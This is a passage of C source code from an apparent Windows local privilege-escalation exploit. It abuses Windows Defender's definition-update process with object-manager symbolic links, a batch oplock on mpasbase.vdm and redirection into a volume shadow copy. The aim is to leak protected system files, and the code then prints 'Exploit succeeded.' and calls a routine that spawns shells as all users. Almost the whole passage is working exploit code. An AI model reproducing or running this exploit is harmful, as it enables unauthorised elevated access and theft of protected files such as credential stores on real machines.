			UuidToStringW(&uid, &wuid);
			wuid2 = (wchar_t*)wuid;
			wcscpy(envstr, L"%TEMP%\\");
			wcscat(envstr, wuid2);

			{
				
				OBJECT_ATTRIBUTES ndirobjattr = { 0 };
				UNICODE_STRING objdirunistr = { 0 };
				

				wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2);
				RtlInitUnicodeString(&objdirunistr, objdirpath);
				InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
				ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL);
				if (ntstat)
				{
					printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat);
					goto cleanup;
				}
			}


			ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH);
			needupdatedircleanup = CreateDirectory(updatepath, NULL);
			if (!needupdatedircleanup)
			{
				printf("Failed to create update directory, error : %d", GetLastError());
				goto cleanup;
			}
			printf("Created update directory %ws\n", updatepath);

			{
				UNICODE_STRING _unisrc = { 0 };
				RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
				OBJECT_ATTRIBUTES _smobjattr = { 0 };
				InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
				UNICODE_STRING _unidest = { 0 };
				wchar_t unidest[MAX_PATH] = { 0 };
				wcscpy(unidest, L"\\??\\");
				wcscat(unidest, updatepath);
				RtlInitUnicodeString(&_unidest, unidest);
				ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
				if (ntstat)
				{
					printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
					goto cleanup;
				}
			}

			while (UpdateFilesListCurrent)
			{
				wchar_t filepath[MAX_PATH] = { 0 };
				wchar_t filename[MAX_PATH] = { 0 };
				wcscpy(filepath, updatepath);
				wcscat(filepath, L"\\");
				MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH);
				wcscat(filepath, filename);

				HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL);

				if (!hupdate || hupdate == INVALID_HANDLE_VALUE)
				{
					printf("Failed to create update file, error : %d", GetLastError());
					goto cleanup;
				}
				UpdateFilesListCurrent->filecreated = true;
				DWORD writtenbytes = 0;
				if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL))
				{
					printf("Failed to write update file, error : %d", GetLastError());
					CloseHandle(hupdate);
					goto cleanup;
				}
				CloseHandle(hupdate);
				printf("Created update file : %ws\n", filepath);
				UpdateFilesListCurrent = UpdateFilesListCurrent->next;

			}

			hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
			if (!hdir || hdir == INVALID_HANDLE_VALUE)
			{
				printf("Failed to open definition updates directory, error : %d", GetLastError());
				goto cleanup;
			}

			hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId());
			if (!hcurrentthread)
			{
				printf("Unexpected error while opening current thread, error : %d", GetLastError());
				goto cleanup;
			}
			wchar_t thrdupdpath[MAX_PATH] = { 0 };
			wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2);
			threadargs.dirpath = thrdupdpath;
			threadargs.hntfythread = hcurrentthread;
			threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL);
			hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid);

			printf("Waiting for windows defender to create a new definition update directory...\n");
			wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\");
			do {
				ZeroMemory(buff, sizeof(buff));
				OVERLAPPED od = { 0 };
				od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
				ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL);
				HANDLE events[2] = { od.hEvent, threadargs.hevent };
				if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0)
				{
					printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res);
					goto cleanup;
				}
				CloseHandle(od.hEvent);

				PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;
				if (pfni->Action != FILE_ACTION_ADDED)
					continue;

				wcscat(newdefupdatedirname, pfni->FileName);
				break;
			} while (1);
			printf("Detected new definition update directory in %ws\n", newdefupdatedirname);

			wcscpy(updatelibpath, L"\\??\\");
			wcscat(updatelibpath, updatepath);
			wcscat(updatelibpath, L"\\mpasbase.vdm");

			RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath);
			InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL);

			ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
			if (ntstat)
			{
				printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat);
				goto cleanup;
			}
			printf("Setting oplock on %ws\n", updatelibpath);

			ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
			DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

			if (GetLastError() != ERROR_IO_PENDING)
			{
				printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
				goto cleanup;
			}
			printf("Waiting for oplock to trigger...\n");
			GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE);
			printf("oplock triggered !\n");

			CloseHandle(hsymlink);



			{
				UNICODE_STRING _unisrc = { 0 };
				RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
				OBJECT_ATTRIBUTES _smobjattr = { 0 };
				InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
				UNICODE_STRING _unidest = { 0 };
				RtlInitUnicodeString(&_unidest, objdirpath);
				ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
				if (ntstat)
				{
					printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
					goto cleanup;
				}

				RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");
				ZeroMemory(nttargetfile, sizeof(nttargetfile));
				wcscpy(nttargetfile, fullvsspath);
				wcscat(nttargetfile, filestoleak[x]);
				RtlInitUnicodeString(&objlinktarget, nttargetfile);
				InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);

				ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);
				if (ntstat)
				{
					printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat);
					goto cleanup;
				}

			}


			CloseHandle(ov.hEvent);
			ov.hEvent = NULL;
			CloseHandle(ovd.hEvent);
			ovd.hEvent = NULL;
			CloseHandle(hupdatefile);
			hupdatefile = NULL;


			wcscat(newdefupdatedirname, L"\\mpasbase.vdm");

			htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL);
			if (!htransaction)
			{
				printf("Failed to open leaked file.\n");
				goto cleanup;
			}
			do {
				hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL);
			} while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile);
			printf("Leaked file opened %ws\n", newdefupdatedirname);


			CloseHandle(hdir);
			hdir = NULL;
			CloseHandle(hobjlink);
			hobjlink = NULL;
			printf("Exploit succeeded.\n");
			SetEvent(hreleaseready);

			
			DoSpawnShellAsAllUsers(hleakedfile);
			CloseHandle(hleakedfile);
			hleakedfile = NULL;
			RollbackTransaction(htransaction);
			CloseHandle(htransaction);
			htransaction = NULL;
			WaitForSingleObject(hthread, INFINITE);
			CloseHandle(hthread);
			hthread = NULL;


			
		}

	}
	catch (int exception)
	{
		goto cleanup;
	}

cleanup:

	if(hint)
		InternetCloseHandle(hint);
	if(hint)
		InternetCloseHandle(hint2);
	if (exebuff)
		free(exebuff);
	if(mappedbuff)
		UnmapViewOfFile(mappedbuff);
	if (hmapping)
		CloseHandle(hmapping);
	if (hcabctx)
		FDIDestroy(hcabctx);
	if (hdir)
		CloseHandle(hdir);
	if (rdb)
		HeapFree(GetProcessHeap(), NULL, rdb);
	if (ov.hEvent)
		CloseHandle(ov.hEvent);
	if (ovd.hEvent)
		CloseHandle(ovd.hEvent);

	if (hreleaseready)
	{
		SetEvent(hreleaseready);
		Sleep(1000);
		CloseHandle(hreleaseready);
	}
	if (hleakedfile)
	{
		if (filelocked)
			UnlockFile(hleakedfile, NULL, NULL, NULL, NULL);
		CloseHandle(hleakedfile);
	}
	if (leakedfilebuff)
		free(leakedfilebuff);
	if (hcurrentthread)
		CloseHandle(hcurrentthread);
	if (needupdatedircleanup)
	{
		wchar_t dirtoclean[MAX_PATH] = { 0 };
		wcscpy(dirtoclean, updatepath);
		UpdateFilesListCurrent = UpdateFilesList;
		while(UpdateFilesListCurrent)
		{

			if (UpdateFilesListCurrent->filecreated)
			{
				wchar_t filetodel[MAX_PATH] = { 0 };
				wcscpy(filetodel, dirtoclean);
				wcscat(filetodel, L"\\");
				MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t));
				DeleteFile(filetodel);
			}
			if (UpdateFilesListCurrent->hsymlink) {
				CloseHandle(UpdateFilesListCurrent->hsymlink);
				UpdateFilesListCurrent->hsymlink = NULL;
			}
			UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent;
			UpdateFilesListCurrent = UpdateFilesListCurrent->next;
			free(UpdateFilesListOld);
		}
		RemoveDirectory(dirtoclean);
	}


	return 0;
}

